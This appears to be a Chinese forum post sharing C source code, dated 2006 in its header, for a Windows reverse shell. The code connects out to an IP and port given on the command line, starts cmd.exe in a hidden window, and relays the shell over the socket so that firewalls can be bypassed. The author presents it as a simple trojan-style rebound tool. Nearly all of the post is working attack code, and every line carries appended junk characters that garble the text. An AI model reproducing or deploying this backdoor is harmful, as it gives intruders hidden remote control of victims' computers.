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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >sn"   
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/* ============================== l?})_1v,R  
Rebound port in Windows NT |.y>[+Qb*  
By wind,2006/7 `oB'(  
===============================*/ b;Hm\aK  
#include :/>7$)+  
#include I%pCm||p  
|)28=Z|Z  
#pragma comment(lib,"wsock32.lib") +]A+!8%Z  
iPA@<D%  
void OutputShell(); -zPm{a  
SOCKET sClient; Dm>T"4B`/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8o!  
)WaX2uDA?  
void main(int argc,char **argv) _u#/u2<  
{ Qe7" Z  
WSADATA stWsaData; <dq,y>  
int nRet; $/4Wod*l  
SOCKADDR_IN stSaiClient,stSaiServer; h |s*i  
R'vdk<  
if(argc != 3) 3js)niT9u  
{ E^oEG4 X@  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3Qqnw{*  
return; -X`~;=m>U  
} gcX5Q^`a=  
TvQWdX=  
WSAStartup(MAKEWORD(2,2),&stWsaData); p3V9ikyy  
:jZ*,d%1={  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X4Pm)N `  
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stSaiClient.sin_family = AF_INET; +i:  E  
stSaiClient.sin_port = htons(0); 9QX&7cs&[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EZ:I$X  
$ 1ak I  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1j oc<EI  
{ k\4g|Lya  
printf("Bind Socket Failed!\n"); @).WIs  
return;  JA }S{  
} y&n1 Nj]^  
:GN)7|:  
stSaiServer.sin_family = AF_INET; ~|X99?P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ODM>Z8@W/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9)G:::8u7  
>g5T;NgH9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P Xyyyir{  
{ ?9o#%?6k  
printf("Connect Error!"); @/_XS4  
return; hXV4$Dai  
} /V#MLPA  
OutputShell(); &M!4]p ow  
} )OARO  
d_4n0Kh0  
void OutputShell() ;n yB  
{ *T.={>HE8  
char szBuff[1024]; RM?_15m  
SECURITY_ATTRIBUTES stSecurityAttributes; 8r7/IGFg  
OSVERSIONINFO stOsversionInfo; |u?k-,uI9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jD&}}:Dj  
STARTUPINFO stStartupInfo; k#l'ko/X  
char *szShell; G:E+s(x  
PROCESS_INFORMATION stProcessInformation;  @oe3i  
unsigned long lBytesRead; "uV0Oj9:  
+=n x|:no  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -L^0-g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w3>Y7vxiz`  
stSecurityAttributes.lpSecurityDescriptor = 0; cHqvkN`  
stSecurityAttributes.bInheritHandle = TRUE; TzD:bKE&  
Y-}hNZn"{  
htdn$kqG   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '^P*F9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R7\{w(`K  
$5q{vy  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?X8K$g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J@u!S~&r  
stStartupInfo.wShowWindow = SW_HIDE; j8D$/  
stStartupInfo.hStdInput = hReadPipe; hEdo,gF*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n:}MULy;  
dK=D=5r,  
GetVersionEx(&stOsversionInfo); "K4X:|Om"  
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switch(stOsversionInfo.dwPlatformId) `Cb<KAaCH  
{ K8Kz  
case 1: 2i4Dal  
szShell = "command.com"; 1xFhhncf  
break; e!:?_z."  
default: I&Eg-96@  
szShell = "cmd.exe";  N#2nH1C  
break; '|dKg"Yl  
} &9jUf:gJ0  
+e{djp@m  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8V53+]c$Y  
skmDsZzw  
send(sClient,szMsg,77,0); P /f ~  
while(1) K>DnD0  
{ z=8_%r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X*p:&=o  
if(lBytesRead) I?:+~q}lZr  
{ %(O^as  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n WO~v{h3J  
send(sClient,szBuff,lBytesRead,0); cwDD(j  
} eBLHT  
else {~B4F}ES  
{ TZ[F u{gZ  
lBytesRead=recv(sClient,szBuff,1024,0); $fU/9jTa  
if(lBytesRead<=0) break; a*$1la'Uf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); duiKFNYN  
} 'nmYB:&!  
} *}Ae9  
R&-W_v+  
return; Eb{4.17b  
}
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